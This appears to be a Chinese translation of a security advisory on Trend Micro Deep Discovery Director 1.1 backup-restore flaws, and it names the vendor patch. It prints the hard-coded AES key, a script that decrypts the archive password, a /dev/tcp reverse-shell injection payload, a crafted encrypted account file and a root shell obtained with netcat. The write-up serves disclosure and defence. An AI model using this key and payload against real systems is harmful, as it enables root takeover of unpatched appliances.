【漏洞分析】趋势科技Deep Discovery Director漏洞分析

http://p6.qhimg.com/t01bc0034a1a275837a.jpg

译者:shan66

预估稿费:140RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


漏洞信息

类型:对OS命令中的特殊元素的处理不当[CWE-78],使用硬编码密码键[CWE-321],数据真实性验证不足[CWE-345]

影响:代码执行

远程利用:是的

本地利用:是的

CVE名称:CVE-pending-assignment-1CVE-pending-assignment-2CVE-pending-assignment-3 


漏洞描述

据趋势科技的网站称:

趋势科技Deep Discovery Director 1.1 [1]是一种预置型解决方案,可以完成Deep Discovery各种应用的更新、升级和虚拟分析器映像,以及Deep Discovery应用的配置复制的集中调度。

我们在Deep Discovery Director应用程序的备份还原过程中发现了多个漏洞,攻击者可以利用这些漏洞访问管理控制台,并以root身份执行命令。 


受影响的软件包

趋势科技Deep Discovery Director 1.1(Build 1241)

其他产品和版本夜可能会受到影响,但尚未经过测试。


供应商信息,解决方案和解决方法

趋势科技发布了以下重要补丁:

Deep Discovery Director 1.1 Critical Patch – Build 1249: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkv


致谢

这些漏洞是由Core Security Consulting Services公司的Maximiliano Vidal研究发现的。本咨询信息的出版则需要感谢核心顾问团队的Alberto Solino的协调工作。 


技术说明/概念验证代码

该预置型解决方案包含一个加固型的虚拟设备,除了Web管理控制台之外,没有提供其他远程访问功能。对该虚拟机具有本地访问权限的用户被绑定到一个预配置的控制台中,管理员可从该控制台完成初始的网络设置。同时,Shell访问是不允许的。

该Web管理控制台由来自nginx的一个Flask应用程序组成。

下面部分将介绍在备份/恢复机制中发现的安全问题,以及如何以root身份获取代码执行权限的细节。请注意,这些操作的前提是,假定攻击者已经在Web控制台中通过了相应的身份验证。

没有对备份进行验证

[CVE-pending-assignment-3],对于配置和数据库备份存档,除了必须使用在所有设备上都是静态的硬编码密码进行加密(更多详细信息,请参阅7.2)之外,没有对其进行任何形式的签名或验证处理。这意味着应用程序可以尝试恢复修改过的存档。

硬编码存档密码

[CVE-pending-assignment-2],发现备份存档的加密过程中,都使用了一个在多处测试安装中默认的静态密码来加密的,也就是说,在所有虚拟设备实例中都使用了相同的密码。

BackupManager类详细阐释了这些归档的生成方式: 

class BackupManager(object):
    [...]
    _AES_KEY = '9DBD048780608B843A0294CD'
 
    def __init__(self, is_manual = False, file_struct = None, target_partition = None, config_ini = None, config_db = None, config_systemfile = None, agent_file = None, meta_file = None, backup_path = None, backup_zip = None, backup_pw = None, restore_path = None, restore_statusfile = None):
        [...]
        decryptor = AESCipher(self._AES_KEY)
        self.backup_pw = backup_pw if backup_pw else decryptor.decrypt(RESTORE_ZIP_PW)
        [...]

backup_pw可以通过backup_ddd方法生成归档文件: 

@with_file_lock(LOCK_UPDATE_IN_PROGRESS, blocking=False)
@check_shutdown
def backup_ddd(self):
    LOG.debug('Start to backup DDD')
    [...]
    os.chdir(tmp_backup_fd)
    filelist = [ f for f in os.listdir('./') ]
    compress_file(self.backup_zip, filelist, password=self.backup_pw, keep_directory=True)

此外,它还可以用来解密存档: 

@with_file_lock(LOCK_UPDATE_IN_PROGRESS, blocking=False)
@check_shutdown
def upload_package(self, stream, file_name):
    if not self._extract_meta(self.restore_zip):
        LOG.debug('Failed to extract meta')
        self._clean_uploaded_package()
        update_status(status=self.STATUS_FAIL, error=RESTORE_INVALID_PACKAGE.code)
        raise PBobServerCommonException(RESTORE_INVALID_PACKAGE)
[...]
 
def _extract_meta(self, restore_zip):
    command = ['unzip',
     '-P',
     self.backup_pw,
     '-p',
     restore_zip,
     self.meta_file]
    fd = file(self.meta_fp, 'w')
    p = subprocess.Popen(command, stdout=fd, stderr=subprocess.PIPE)
    ret = p.wait()
    fd.flush()
    fd.close()
    if ret != 0:
        LOG.error('Fail to unzip meta file. ret: {}, stderr:[{}]'.format(ret, p.stderr))
        ret = False
    else:
        ret = True
    return ret

RESTORE_ZIP_PW的具体定义位于common_modules / common / constants.pyc文件中,具体如下所示: 

RESTORE_ZIP_PW = 'hZrMrlTvOhiM9GaDirYQ/HQ3JSalxGOXTsJDy9gde2Q='

密码可以使用以下脚本进行解密: 

#!/usr/bin/env python
 
import base64
import sys
 
from Crypto import Random
from Crypto.Cipher import AES
 
class AESCipher(object):
 
    def __init__(self, key):
        self.key = key
 
    def encrypt(self, raw):
        pad = lambda s, bs: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
        raw = pad(raw, 16)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw))
 
    def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        unpad = lambda s: s[:-ord(s[len(s) - 1:])]
        return unpad(cipher.decrypt(enc[16:]))
 
# From backup_manager.pyc
_AES_KEY = '9DBD048780608B843A0294CD'
 
decryptor = AESCipher(_AES_KEY)
 
if len(sys.argv) == 2:
    print "Decrypted: %s" % decryptor.decrypt(sys.argv[1])
 
$ python decrypt.py hZrMrlTvOhiM9GaDirYQ/HQ3JSalxGOXTsJDy9gde2Q=
Decrypted: BRpixiebob0101

命令注入漏洞

[CVE-pending-assignment-1],利用第7.1和7.2节中介绍的漏洞,攻击者可以创建有效备份存档,从而让该应用程序来去恢复它。这样的存档可以包含数据库内容,Web服务器证书等,但无法直接执行任意命令。

但是,代码中存在可以访问预配置控制台的帐户的命令注入漏洞。

备份还原过程中,需要调用方法_restore_textUI_accounts: 

def _restore_textUI_accounts(self, tmp_restore_fd):
    restore_path = '{}{}{}'.format(tmp_restore_fd, self.file_struct['accounts'], self.accounts_file)
    if isfile(restore_path):
        LOG.debug('Restore textUI accounts.')
        with open(restore_path, 'r') as f:
            backup_accounts = json.load(f)
            LOG.debug('content:[{}]'.format(backup_accounts))
        if 'textUI_accounts' in backup_accounts:
            cipher = AESCipher(self._AES_KEY)
            decryptor = AESCipher(self._AES_KEY)
            with open('/etc/passwd', 'r') as f:
                for line in f:
                    fields = line.split(':')
                    if fields[0] == 'root':
                        continue
                    account_to_compare = cipher.encrypt(fields[0])
                    if fields[6].strip('n') == '/opt/TrendMicro/Pixiebob/textUI/admin_shell' or account_to_compare in backup_accounts['textUI_accounts']:
                        LOG.debug('Remove user:[{}]'.format(fields[0]))
                        os.system('/usr/sbin/userdel --remove {}'.format(fields[0]))
 
            for tui_account in backup_accounts['textUI_accounts']:
                plain_account = decryptor.decrypt(tui_account)
                plain_hash = decryptor.decrypt(backup_accounts['textUI_accounts'][tui_account])
                if plain_account == 'root':
                    continue
                LOG.debug('Restore user:[{}]'.format(plain_account))
                os.system('/usr/sbin/useradd "{}"'.format(plain_account))
                os.system('chsh -s "/opt/TrendMicro/Pixiebob/textUI/admin_shell" "{}"'.format(plain_account))
                os.system("echo '{}:{}' | chpasswd -e".format(plain_account, plain_hash))
 
        else:
            LOG.debug('Could not find textUI accounts in backup account file, skip.')
    else:
        LOG.debug('No backup account file, skip.')

该方法首先会加载backup_accounts.json文件的内容,并检查'textUI_accounts'键。如果该属性存在的话,应用程序将通过它读取username:password对,并对其进行相应的处理。

在恢复从JSON文件读取的帐户之前,应用程序将调用/ usr / sbin / userdel命令删除由Deep Discovery Director添加的系统帐户。那么如何识别这些账户呢?它们的特点是将shell设置为/ opt / TrendMicro / Pixiebob / textUI / admin_shell或包含在JSON文件中。

最后,在for循环中再次遍历JSON内容(请参阅backup_accounts ['textUI_accounts']中的tui_account)。对于每个username:password对,可以首先使用7.2中的代码进行解密,然后通过/ usr / sbin / useradd命令添加到系统,将shell设置为admin_shell,并更新密码。

这些系统调用是有问题的,因为从备份文件获取的输入是在没有消毒的情况下提供的。

以system()的第一个调用为例: 

os.system('/usr/sbin/useradd "{}"'.format(plain_account))

plain_account变量对应于要添加的用户名。 如果这个值设置为"; bash -i>&/dev/tcp/192.168.0.4/8888 0>&1; echo "(包含引号),那么恢复进程将打开一个反向shell到192.168.0.4。 值得注意的是,这些操作是以root用户权限运行的,从而产生一个反向的root shell。

backup_accounts.json文件应具有以下格式: 

{
    "textUI_accounts": {
        "username": "password hash"
    }
}

Username可以设置为任何想要执行的命令,在这种情况下,它是反向shell的有效载荷。而密码的哈希值并不重要,因为我们并不想添加任何用户。

这些值需要使用第7.2节中介绍的“encrypt”函数进行加密。下面是一个将username设置为反向shell有效负载的示例恶意文件,具体如下所示: 

{
    "textUI_accounts": {
        "hnOcMCXfxOivXziHo6BiFZJjLcwLoVw9o08YCETqbFd5dwaN0X0FdEhOKB+KTK1bvgZUxs685bxeRK8ZrkWfqGuWfZKBCAPU7DBzI+PbhPA=": "O6TCdUvIyaUrEFl8pnGTf4JTH5fKc4oinyga8gWZIPd7qGB0+IPk6n1J5GckvoCCht0pPxXwJ21INJAMZc38qRSAi27311eGKyF6VRWQ1IjK4bj9BNf0h95bdUJ9GhETfEuoTbyEpD7lP3I0Z2vJS2118DZozhCbgTGHPbP+Rx0="
    }
}

这里可以使用7.2中显示的密码来创建恶意档案。一旦上传,恢复进程将执行注入的命令并产生一个shell。 

$ nc -lv 8888
bash: no job control in this shell
# id
id
uid=0(root) gid=0(root) groups=0(root)

参考资料

[1] http://docs.trendmicro.com/en-us/enterprise/deep-discovery-director.aspx 

(完)